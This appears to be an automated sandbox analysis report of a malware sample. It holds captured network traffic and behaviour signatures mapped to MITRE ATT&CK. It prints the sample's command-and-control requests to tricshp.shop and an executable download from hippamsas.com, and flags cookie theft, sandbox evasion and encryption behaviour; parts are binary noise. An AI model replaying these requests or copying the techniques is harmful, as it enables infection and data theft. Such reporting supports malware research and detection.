application/octet-streamÔÚÊÓÚÔ¬!LïYì¸Vñ.ÖZK¤Ö.J@¢·æÐkZÞH¤TX«\Á´>Ítºª|!k¾_ÚÄÈ¤¥þÃÌõ'-Þ±Gmu*þU²PJDÁì£é·ÿ¼¦£u>å©}s¶XµqÔ¾hX*¨Ò\|B«HÎ®¬=®má§'I&0¾#àþÝ]ÊÚåtÖ0Ì?Æ>pÌ<Õ¡®[Ò¤rzmÆÂ8¾ù6VÊ;hu;(-ô1oRó\?þxnOxÖàuLÎcÕ|9åzÂ=Ã.ùjÑ1ÆBõój÷&ám}í*Ä³eØ¡DXÖ`!øh]Wq4HÅé¥¡6½ú©=á-µÖ)"÷iLÔúÈÜ)ü'ó#d³Þûk~^Ö&/~»q~](=eoGfÕoÑÃ³td&±¥Jê²ê3ÌÍòÎ3w=TúKcÑúìåhaÇH2ÚQ¿¢ÓmgAkN@QÜ*dK.Gâçî}þ¥½÷äµ¦b;PÖW!b@³|ZÌaî|D¤²÷ó¹a!as3¿@ÚH&[ITTrk§Ú_`XN:õ¯"õèÛY³>ýkEÙj,F6OÀòLzj--5T7q9HmseJ95uPwow--" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:32 GMT Content-Length: 8 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true with response body ==>7265636569766564......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=http://tricshp.shop:4437-56" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:33 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&step=1" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:34 GMT Content-Type: application/octet-stream Content-Length: 2457 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"999-RUg7Pv1oD0BxwUXUH59XLim6XjY" with response body ==>C389C2B1C2A41DC296C3AAC3ABC3BAC3AC6C612050C3891D4D4F0806C3993F583B7146C39B577BC2B1C3903222C2B4C29FC2BBC3B6C2AE71C38806C3A2C29532......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=http://tricshp.shop:4437-56" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:35 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&step=2" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:36 GMT Content-Type: application/octet-stream Content-Length: 4686 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"124e-YgLkmmhdKI8OX1/n14XFGPsgXl4" with response body ==>22C2A3C3BEC3B51BC299C2A3C38A63C39FC3ABC2AC3375C2A3C3B566C2A5C28EC29AC39F7C71C3A957C29709C284385CC3A9C3AC55C295C28056C3AF0C4D3DC2......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=http://tricshp.shop:4437-56" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:36 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&step=3" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:37 GMT Content-Type: application/octet-stream Content-Length: 6390 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"18f6-tcSNINVnVTYx8SVuJ3fDzGRyLPk" with response body ==>C3A24566C38BC38EC3B0C28D6A781CC291C2823AC39753581235C286C387C2AB17C39FC2AC397FC2B9C3A97E29C389C2B8633B47104C636E3D4C1204C3B96539......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=http://tricshp.shop:4437-56" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:38 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&step=4" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:39 GMT Content-Type: application/octet-stream Content-Length: 7764 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"1e54-mQZ+fQb10tjwdbb1fArARvs8SZw" with response body ==>4D47C29325C3B004C3A2C2873420C2B6C3A20AC28CC382C389C290C395C3B426C29A5D2CC3BBC3BD03C2A21711C2A8393F7537C29FC28EC3B5341B7E51C3B1C3......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=http://tricshp.shop:4437-56" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:40 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&step=5" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:41 GMT Content-Type: application/octet-stream Content-Length: 44358 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"ad46-1mWg74FipXq+3OfyL52bBlKtq+0" with response body ==>C2BB4E247E6576C2B80E4324C39B5F1EC3B87AC380C2B8C29906C2A66B7111C285C39FC39E5AC3BEC2AE2E057A2C7AC39111C387C2B4203BC388C3A5C28CC2BE......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:42 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:43 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:44 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:44 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:45 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:45 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:46 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:47 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:47 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:48 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: tricshp.shop:4437" with payload::==> "access_token=f272812e-3e0b-4e69-95fe-8b0b344eecc1&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed, 27 May 2026 11:07:49 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D.......86:T5c4," wbuf2= gcscandone runtime: gp= found at *( s.elemsize= B (\" (Indicator: \"vercrypto/x509archive/zipkernel32.dllVirtualAllocGetTempPathWrandautoseedsweepWaiterscleanupQueuetraceStringsspanSetSpinemspanSpecialtraceTypeTabgcBitsArenasmheapSpecialgcpacertraceharddecommitmadvdontneeddumping heapchan receivesynctest.Runcleanup wait span.limit= span.state=bad flushGen MB stacks, scan: total scan: class worker mode nDataRoots= nSpanRoots= wbuf1= wbuf2= gcscandone runtime: gp= found at *( s.elemsize= B (\") in Source: 84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-234","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00007864.00000000.144909.61250000.00000004.mdmp, 00000000-00007864.00000001.145367.61250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$41","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$42","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$43","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate available system drives (PowerShell command string)","description":"Found string \"Get-PSDrive\" (Indicator: \"Get-PSDrive\"; Source: \"00000000-00007864.00000000.144909.49040000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":1,"id":"string-997","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007864-00000C2B-1260176364\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007864-00000C2B-1261097356\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"GetUserNameA\" (Source: \"00000000-00006104.00000000.144042.00180000.00000004.mdmp, 00000000-00006104.00000000.144042.40000000.00000040.mdmp, 00000000-00006104.00000001.145963.00100000.00000004.mdmp, 00000000-00006104.00000001.145963.40000000.00000040.mdmp\")\n file/memory contains long string(Source: \"00000000-00006104.00000002.147425.C9D88000.00000002.mdmp\")\n Found string \"UserName\" (Source: \"00000000-00007864.00000000.144909.49040000.00000004.mdmp\")\n Found string \"SMBIOSBIOSVersion\" (Source: \"00000000-00007864.00000000.144909.49040000.00000004.mdmp\")\n Found string \"etUserNameExA\" (Source: \"00000000-00007864.00000000.144909.61250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007864-00000C2B-1260176364\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007864-00000C2B-1261097356\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using web history","description":"Found string \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\History\" (Source: \"00000000-00007836-00000BC1-1250677480\")\n Found string \"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\History\" (Source: \"00000000-00007836-00000BC1-1254487950\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-662","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to obtain instances of WMI classes using PowerShell","description":"Found string \"Get-WmiObject\" (Source: \"00000000-00007864.00000000.144909.49040000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-696","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00007864-00000C2B-1259130768\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00007864-00000C2B-1259131231\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007864-00000C2B-1261251646\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007864-00000C2B-1261251681\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"file/memory contains long string(File: \"84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin\")\n file/memory contains long string(Source: \"00000000-00006104.00000002.147425.C9D88000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00007864.00000000.144909.67A4A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"file/memory contains long string with (Indicator: \"moz_cookies\"; File: \"cookies.sqlite\")\n Found string \"%APPDATA%\\Mozilla\\Firefox\\Profiles\\ywzu7870.default\\cookies.sqlite\" (Indicator: \"cookies.sqlite\"; Source: \"00000000-00007836-00000BC1-1248959953\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-5058","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin\")\n file/memory contains long string with (Indicator: \"getaddrinfo\"; Source: \"00000000-00006104.00000002.147425.C9D88000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$45","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00007864.00000000.144909.67A4A000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00007864.00000000.144909.67A4A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00007864-00000C2B-1260943843\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00007864-00000C2B-1260943870\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\" HTTP/1.1 200 OK\nDate: Wed\n 27 May 2026 11:07:32 GMT\nContent-Type: text/plain\nContent-Length: 13\nConnection: keep-alive\nServer: cloudflare\nVary: Origin\ncf-cache-status: DYNAMIC\nCF-RAY: a0248e7aaa412513-SJC with response body ==>36342E3132342E31322E313632.......\n \"GET /js/vendor/Verge.exe HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: HttpDownloader/1.0\nHost: www.hippamsas.com\" Response ==> HTTP/1.1 200 OK\nServer: openresty/1.29.2.3\nDate: Wed\n 27 May 2026 11:08:23 GMT\nContent-Length: 11672\nConnection: keep-alive\nContent-Type: text/html\nCache-Control: private\n no-cache\n no-store\n must-revalidate\n max-age=0\ncf-edge-cache: no-cache with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C206C616E673D22656E223E0A3C686561643E0A20203C6D65746120636861727365743D2275746638223E0A.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$56","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 78810000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 91B70000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"\" (Source: 